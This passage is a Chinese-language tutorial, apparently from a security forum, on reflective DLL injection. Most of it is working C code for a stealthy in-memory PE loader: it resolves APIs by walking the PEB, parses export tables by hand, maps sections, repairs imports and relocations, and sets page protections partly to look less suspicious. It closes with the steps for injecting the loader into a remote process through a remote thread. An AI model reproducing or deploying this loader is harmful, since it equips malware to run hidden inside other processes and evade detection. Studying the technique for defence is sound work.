  3. 把原地址 + (新基址 - 旧基址)算出来

如:

1
2
3
新基址 = 0x20000000
旧基址 = 0x10000000
差值 = 0x10000000

在编译时编译器不知道你未来会加载到哪里,都会按ImageBase + 偏移来生成机器码。

正常 LoadLibrary 加载顺序

1
2
3
4
5
6
系统 Loader:
1️⃣ 分配目标内存(SizeOfImage)
2️⃣ 拷贝节区
3️⃣ 处理重定位
4️⃣ 修复 IAT
5️⃣ 调用 DllMain

注意:重定位发生在代码执行之前

反射 DLL 的加载顺序

1
2
3
4
5
6
7
8
9
10
11
12
1️⃣ 把整个 DLL 文件当作“数据”
写入目标进程某块内存

2️⃣ 直接跳转到 ReflectiveLoader(还在原始文件布局里)

3️⃣ 由 ReflectiveLoader:
- 解析 PE 头
- 分配新内存
- 拷贝节区
- 处理重定位
- 修复 IAT
- 再跳到真正入口点

类似shellcode

反射 DLL 不依赖系统 Loader,而系统 Loader 本来负责,现在不用 LoadLibrary 了,只能自己处理

首先我们在ReflectiveFunction 函数开头可以看到下面这样的声明,还记得我们在上面说的无法使用全局变量吗,这意味着我们所有的变量都必须是堆栈变量(全局变量会产生绝对地址,执行会出问题)。堆栈变量不会最终出现在编译的代码部分(需要重新定位的位置),但始终使用堆栈指针的相对偏移量进行寻址。

1
2
3
4
5
6
7
8
WCHAR kernel32[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
WCHAR ntdll[] = { L'n', L't', L'd', L'l', L'l', L'.', L'd', L'l', L'l', L'\0' };
WCHAR user32[] = { L'U', L's', L'e', L'r', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
CHAR virtualAlloc[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', '\0' };
CHAR virtualProtect[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', '\0' };
CHAR rtladdFunctionTable[] = { 'R', 't', 'l', 'A', 'd', 'd', 'F', 'u', 'n', 'c', 't', 'i', 'o', 'n', 'T', 'a', 'b', 'l', 'e', '\0' };
CHAR ntFlushInstructionCache[] = { 'N', 't', 'F', 'l', 'u', 's', 'h', 'I', 'n', 's', 't', 'r', 'u', 'c', 't', 'i', 'o', 'n', 'C', 'a', 'c', 'h', 'e', '\0' };
CHAR loadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };

像上面这样声明我们的字符串将使编译器在运行时将这些单个字符推送到堆栈上。因此,区别在于初始化风格,定义单个字符与使用字符串文本,前者产生堆栈分配的数组,而后者产生在可执行文件的初始化数据部分中分配的数组。

获取所需系统 api

反射/手动映射早期阶段经常处于这种状态:

  • IAT(导入表)可能还没修好(或者不想依赖它)
  • 也不想显式调用 GetProcAddress/LoadLibrary(因为你自己要“当 loader”)
  • 但又必须拿到一些基础 API(VirtualAlloc/VirtualProtect/LoadLibrary/NtFlushInstructionCache…)才能继续往下做

所以就需要一条自举路径

从当前进程已加载模块列表里找到 kernel32/ntdll,再手工解析它们的 PE 导出表,找到函数地址,遇到导出转发时再递归解析

通过GPAR(GMHR(kernel32), virtualAlloc)这样的方式来获取系统 api,GMHR 是获取 dll 句柄的函数,GPAR 的功能是通过句柄获取对应导出表函数地址

1
2
3
4
5
6
7
8
9
10
if ((VA = (fnVirtualAlloc)GPAR(GMHR(kernel32), virtualAlloc)) == NULL)
return FALSE;
if ((LLA = (fnLoadLibraryA)GPAR(GMHR(kernel32), loadLibraryA)) == NULL)
return FALSE;
if (!(VP = (fnVirtualProtect)GPAR(GMHR(kernel32), virtualProtect)))
return FALSE;
if (!(RAFT = (fnRtlAddFunctionTable)GPAR(GMHR(kernel32), rtladdFunctionTable)))
return FALSE;
if (!(FIC = (fnNtFlushInstructionCache)GPAR(GMHR(ntdll), ntFlushInstructionCache)))
return FALSE;

在 GMHR 函数中,我们通过 PEB 来获取想要获取的函数所在 dll 的句柄。(关于 peb 的知识可以看https://xz.aliyun.com/t/13556)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//----------------GET MODULE HANDLE---------------------
HMODULE GMHR(IN WCHAR szModuleName[]) {
PPEBC pPeb = (PEBC*)(__readgsqword(0x60));
// geting Ldr
PPEBC_LDR_DATA pLdr = (PPEBC_LDR_DATA)(pPeb->Ldr);
// getting the first element in the linked list (contains information about the first module)
PLDR_DATA_TABLE_ENTRYC pDte = (PLDR_DATA_TABLE_ENTRYC)(pLdr->InMemoryOrderModuleList.Flink);

while (pDte) {
// if not null
if (pDte->FullDllName.Length != NULL) {

// check if both equal
ToLowerCaseWIDE(pDte->FullDllName.Buffer);
ToLowerCaseWIDE(szModuleName);
if (CompareStringWIDE(pDte->FullDllName.Buffer, szModuleName)) {

return (HMODULE)(pDte->InInitializationOrderLinks.Flink);
}
}
else {
break;
}
// next element in the linked list
pDte = *(PLDR_DATA_TABLE_ENTRYC*)(pDte);
}
return NULL;
}

上面获取的句柄是指向内存中模块开头的指针,因此我们可以解析 dll 的 PE 标头,获取函数导出表,并且依次进行比较,并且我们的代码考虑了函数转发的情况,函数转发指的是一个 DLL 可以将其导出的函数指向另一个 DLL 的函数,通过转发,系统可以避免重复实现相同的功能。

GMHR:通过 PEB 找到某个 DLL 的模块基址(HMODULE)

这段 GMHR 在做的事情:

  1. 通过 GS 寄存器读出 PEB 指针
  2. PEB->Ldr 拿到 Loader 数据结构
  3. 遍历 InMemoryOrderModuleList 链表
  4. 比较每个模块的 FullDllName / BaseDllName,找到名字匹配的模块
  5. 返回该模块的句柄(本质上就是模块在内存中的基址

关键点解释:

  • PEB(Process Environment Block):进程里一个很重要的结构,里面有 loader 维护的已加载模块链表。
  • Ldr->InMemoryOrderModuleList:链表节点指向每个已加载模块的信息结构(常见是 LDR_DATA_TABLE_ENTRY)。
  • HMODULE 是模块句柄:在 Windows 里,HMODULE 通常就是模块映像基址,也就是 DLL 映射到内存的起始地址。

Windows 的函数不是散落的,每个API都属于某个模块(DLL)。

API 所在 DLL
VirtualAlloc kernel32.dll
VirtualProtect kernel32.dll
LoadLibraryA kernel32.dll
NtFlushInstructionCache ntdll.dll
MessageBoxA user32.dll
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
/*------------------获取函数地址-------------------*/

FARPROC GPAR(IN HMODULE hModule, IN CHAR lpApiName[]) {
// 获取模块的基地址
PBYTE pBase = (PBYTE)hModule;

// 获取DOS头
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
// 检查DOS头的魔数是否正确
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;

// 获取NT头
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
// 检查NT头的签名是否正确
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;

// 获取可选头
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
// 获取导出目录表
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

// 获取函数名数组、函数地址数组和函数序号数组
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);

// 用于处理转发的变量
WCHAR kernel32[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
CHAR loadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
fnLoadLibraryA LLA = NULL;
PBYTE functionAddress = NULL;
CHAR forwarder[260] = { 0 };
CHAR dll[260] = { 0 };
CHAR function[260] = { 0 };

// 遍历所有导出的函数
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
// 获取函数名
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);

// 查找指定的函数名
if (ComprareStringASCII(lpApiName, pFunctionName)) {
// 获取函数地址
functionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);

// 检查函数是否是转发
if (functionAddress >= (PBYTE)pImgExportDir && functionAddress < (PBYTE)(pImgExportDir + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)) {
// 处理转发字符串
ParseForwarder((CHAR*)functionAddress, dll, function);
if ((LLA = (fnLoadLibraryA)GPAR(GMHR(kernel32), loadLibraryA)) == NULL)
return NULL;
if (function[0] == '#') {
// 处理转发到指定序号的情况
return GPARO(LLA(dll), custom_stoi(function));
} else {
// 处理转发到指定函数名的情况
return GPAR(LLA(dll), function);
}
} else {
// 返回非转发函数的地址
return (FARPROC)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
}
}
}
return NULL;
}

好的,到现在位置我们就可以获取到我们所需要的系统 api 了

申请 dll 所需要的内存空间

虽然我们的 dll pe 已经在内存里面了,但是我们还需要更大的一个内存空间对其加载,完成映射节,解析导入表,重定位表等等操作,因此我们需要一片更大的内存空间,我们直接在上面获取系统 api 的步骤中获取 VirtualAlloc 即可,而所需要的内存空间大小是 pe 文件格式里面 IMAGE_OPTIONAL_HEADER 的SizeOfImage 确定

dll pe:这个 DLL 文件的 PE 格式结构数据(原始文件内容)

1
2
if ((pebase = (PBYTE)VA(NULL, pImgOptHdr->SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) == NULL)
return FALSE;

复制节

我们接下来要把节映射过去,由于节在内存中应该是虚拟地址,所以我们不能一股脑复制过去,要借助IMAGE_SECTION_HEADER 里面的VirtualAddress 字段帮助我们复制

为什么不能一股脑复制整个 DLL?

因为现在手里 dllBaseAddress 指向的是 原始 PE 文件字节(文件布局),文件布局的特点是:

  • 节区在文件里按 PointerToRawData 排列(文件偏移)
  • 节区大小按 SizeOfRawData(文件对齐 FileAlignment)
  • 节区位置和间隔不等同于运行时的虚拟地址布局

而运行时真正执行时,CPU/代码访问的是:

  • RVA(VirtualAddress) 为基准的布局(内存对齐 SectionAlignment)
  • 例如 .text 通常从 RVA 0x1000 开始,而不是文件偏移 0x400

所以必须按节映射,把:文件偏移 → 拷到 → 内存虚拟地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 为节头(section headers)数组分配内存
peSections = (PIMAGE_SECTION_HEADER*)custom_malloc((sizeof(PIMAGE_SECTION_HEADER) * ImgFileHdr.NumberOfSections), VA);
if (peSections == NULL)
return FALSE;

// 将节的指针保存到节头数组中
for (int i = 0; i < ImgFileHdr.NumberOfSections; i++) {
// 计算每个节头的位置并保存到 peSections 数组中
peSections[i] = (PIMAGE_SECTION_HEADER)(((PBYTE)pImgNtHdrs) + 4 + 20 + ImgFileHdr.SizeOfOptionalHeader + (i * IMAGE_SIZEOF_SECTION_HEADER));
}

// 将每个节的内容从原始 PE 文件中复制到内存中的相应位置
for (int i = 0; i < ImgFileHdr.NumberOfSections; i++) {
custom_memcpy(
// 目标地址:在内存中的虚拟地址
(PVOID)(pebase + peSections[i]->VirtualAddress),
// 源地址:原始 PE 文件中的偏移地址
(PVOID)(dllBaseAddress + peSections[i]->PointerToRawData),
// 复制的大小
peSections[i]->SizeOfRawData
);
}

修复导入表 IAT

一旦各个节被加载到正确的虚拟地址中,所有的相对虚拟地址(RVA)就开始有意义了。因此,在这里我们可以开始修复导入目录(Import Directory):遍历我们反射 DLL 需要操作的所有 DLL 列表,导入它们,并根据我们在内存中获得的位置调整每个函数的 RVA。基本上将所有的 RVA 转换为 VA(虚拟地址),即 VA = ImageBase + RVA。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
for (size_t i = 0; i < pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size; i += sizeof(IMAGE_IMPORT_DESCRIPTOR)) {
// 获取图像导入描述符的指针
pImgImpDesc = (PIMAGE_IMPORT_DESCRIPTOR)(pebase + pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + i);

// 使用自定义的GetModuleHandle/GetProcAddress来导入DLL
dll = LLA((LPSTR)(pebase + pImgImpDesc->Name));
if (dll == NULL) {
return FALSE;
}
// 获取ILT和IAT的引用
pOriginalFirstThunk = (PIMAGE_THUNK_DATA64)(pebase + pImgImpDesc->OriginalFirstThunk);
pFirstThunk = (PIMAGE_THUNK_DATA64)(pebase + pImgImpDesc->FirstThunk);
// 如果引用不为空
while (pOriginalFirstThunk->u1.Function != NULL && pFirstThunk->u1.Function != NULL) {
// 检查函数是通过序号引用还是通过名称引用的
if (pOriginalFirstThunk->u1.Ordinal & 0x8000000000000000) {
// 通过保留低16位来获取序号的字节
ordinal = pOriginalFirstThunk->u1.Ordinal & 0xFFFF;
// 获取函数地址
funcAddress = GPARO(dll, (int)ordinal);
if (funcAddress != nullptr)
// 调整IAT表(返回的地址与DllBaseAddress相加)
pFirstThunk->u1.Function = (ULONGLONG)funcAddress;
}
else {
// 如果函数可以通过其名称找到
pImgImportByName = (PIMAGE_IMPORT_BY_NAME)(pebase + pOriginalFirstThunk->u1.AddressOfData);
funcAddress = GPAR(dll, pImgImportByName->Name);
if (funcAddress != nullptr)
pFirstThunk->u1.Function = (ULONGLONG)funcAddress;
}
// 移动到下一个
pOriginalFirstThunk++;
pFirstThunk++;
}
}

修复重定位表

现在,导入地址表也已修复,这意味着如果DLL在该进程的内存中执行,它将知道在哪里找到所需的函数。现在是应用基址重定位的时候了,我们可以简要说明一下重定位的工作原理:当程序被编译时,编译器假定一个特定的基址作为可执行文件的基址。然后基于这个基址计算并嵌入了各种地址。然而,可执行文件加载时不太可能正好加载到这个基址。相反,它可能加载到一个不同的地址,这使得所有这些嵌入的地址无效。为了解决这个加载问题,一个包含所有这些需要调整的嵌入地址的列表被存储在PE文件的一个专门表中,称为重定位表(Relocation Table)。这个表位于.reloc节的一个数据目录中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
/*--------------修复重定位--------------*/

// 计算delta,即实际基地址与期望基地址的差值
delta = (ULONG_PTR)pebase - pImgOptHdr->ImageBase;

// 获取重定位表的起始地址
pImgRelocation = (PIMAGE_BASE_RELOCATION)(pebase + pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);

// 遍历所有的重定位块
while (pImgRelocation->VirtualAddress) {

// 获取第一个重定位条目的地址
pRelocEntry = (PBASE_RELOCATION_ENTRY)(pImgRelocation + 1);
// 计算重定位条目的数量(移除头部大小并除以每个条目的大小)
entriesCount = (int)((pImgRelocation->SizeOfBlock - 8) / 2);

// 遍历所有的重定位条目
for (int i = 0; i < entriesCount; i++) {

// 根据重定位类型进行处理
switch (pRelocEntry->Type) {
case IMAGE_REL_BASED_DIR64:
{// 如果类型为IMAGE_REL_BASED_DIR64(即值为10)
// 对64位字段应用delta值
ULONGLONG* toAdjust = (ULONGLONG*)(pebase + pImgRelocation->VirtualAddress + pRelocEntry->Offset);
*toAdjust += (ULONGLONG)delta;
break;
}
case IMAGE_REL_BASED_HIGHLOW:
// 对32位字段应用delta值
{
DWORD* toAdjust = (DWORD*)(pebase + pImgRelocation->VirtualAddress + pRelocEntry->Offset);
*toAdjust += (DWORD)delta;
}
break;
case IMAGE_REL_BASED_HIGH:
// 对16位高字段应用delta值的高16位
{
WORD* toAdjust = (WORD*)(pebase + pImgRelocation->VirtualAddress + pRelocEntry->Offset);
*toAdjust += HIWORD(delta);
}
break;
case IMAGE_REL_BASED_LOW:
// 对16位低字段应用delta值的低16位
{
WORD* toAdjust = (WORD*)(pebase + pImgRelocation->VirtualAddress + pRelocEntry->Offset);
*toAdjust += LOWORD(delta);
}
break;
case IMAGE_REL_BASED_ABSOLUTE:
// 跳过此类型的重定位。该类型可以用来填充块
break;
}
// 移动到下一个重定位条目
pRelocEntry++;
}

// 移动到下一个重定位块
pImgRelocation = (PIMAGE_BASE_RELOCATION)(reinterpret_cast<DWORD_PTR>(pImgRelocation) + pImgRelocation->SizeOfBlock);
}

为每个节分配正确的内存属性

我们根据IMAGE_SECTION_HEADER 的Characteristics 字段确定每个节的属性然后为其分配即可

反射 DLL 注入本质上是在手动实现 Windows PE Loader 的工作,而 PE Loader 在加载 DLL 时本来就会根据节属性设置精确的页保护,否则程序无法正常运行。

如果把所有节都设为:PAGE_EXECUTE_READWRITE虽然能跑,但非常可疑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
for (int i = 0; i < ImgFileHdr.NumberOfSections; i++) {


if (peSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) {//write

dwProtection = PAGE_WRITECOPY;
}
if (peSections[i]->Characteristics & IMAGE_SCN_MEM_READ) {//read

dwProtection = PAGE_READONLY;
}
if (peSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE) {//exec

dwProtection = PAGE_EXECUTE;
}
if (peSections[i]->Characteristics & IMAGE_SCN_MEM_READ && peSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) { //readwrite

dwProtection = PAGE_READWRITE;

}
if (peSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE && peSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) { //executewrite

dwProtection = PAGE_EXECUTE_WRITECOPY;

}
if (peSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE && peSections[i]->Characteristics & IMAGE_SCN_MEM_READ) { //executeread

dwProtection = PAGE_EXECUTE_READ;

}
if (peSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE && peSections[i]->Characteristics & IMAGE_SCN_MEM_READ && peSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) { //executereadwrite

dwProtection = PAGE_EXECUTE_READWRITE;
}
if (!VP((PVOID)(pebase + peSections[i]->VirtualAddress), peSections[i]->SizeOfRawData, dwProtection, &dwOldProtection)) {
return FALSE;
}

}

调用 dll 入口点

最后我们刷新指令缓存,使得我们先前的工作生效,然后返回入口点地址就可以了,然后就会完成C运行库的初始化,执行一系列安全检查并调用dllmain。

1
2
3
4
5
FIC((HANDLE)-1, NULL, 0x00);

/*--------------EXECUTE ENTRY POINT--------------*/
pDllMain = (fnDllMain)(pebase + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint);
return pDllMain((HMODULE)pebase, DLL_PROCESS_ATTACH, NULL);

ReflectiveInject

在 inject 里面要做的事情主要有一下几步:

  1. 下载/读取我们的 DLL 字节

  2. 查找 ReflectiveFunction 的 RAW 地址

    在DLL文件中找到ReflectiveFunction的原始地址。这通常需要解析DLL的PE结构以定位目标函数的地址。

    反射注入的关键在于:把 DLL 原始字节塞进了远程进程的一块内存里,但系统并不知道那是个模块,也不会解析导入表/重定位/节权限等。

    所以必须先定位一个引导入口函数(常叫 ReflectiveLoader / ReflectiveFunction):

    • 这个函数的作用不是业务逻辑,而是在目标进程里把自己加载成一个真正可运行的模块
    • 因为DLL 还没被正常加载,所以没法靠常规方式(比如 GetProcAddress(模块句柄, 函数名))去找它。
    • 因此只能从 DLL 文件的 PE 结构里定位它在文件中的位置(RAW/文件偏移),然后换算成将来写进远程内存后的对应地址。

    可以把它想象成:

    把一本书(DLL字节)搬进别人家(远程进程),但书还没拆封(没加载)。得先找到拆封说明书的那一页(ReflectiveLoader),然后让别人从那一页开始读,才能把书摊开用。

  3. 在远程进程中分配内存:在目标远程进程中分配足够的内存,以容纳即将写入的DLL字节。

  4. 在远程内存位置写入 RAW 字节:将下载或读取到的DLL字节写入分配好的远程内存中。

  5. 创建一个将运行“ReflectiveLoader”函数的远程线程:在远程进程中创建一个线程,以运行ReflectiveLoader函数,这样DLL就可以在目标进程中进行自我加载。

    在目标进程里,必须有一段代码开始执行,去完成自加载那一整套动作。ReflectiveLoader 就相当于一个微型PE加载器,它运行后通常会:

    1. 在目标进程里为“最终映像”再找/准备一块合适的内存
    2. 把各节按内存布局重新安放
    3. 修复重定位 + 解析导入
    4. 设置节权限
    5. 调用入口初始化(DLLMain / TLS 等)
    6. 然后返回/自清理(不同实现不同)

PEB及其武器化-先知社区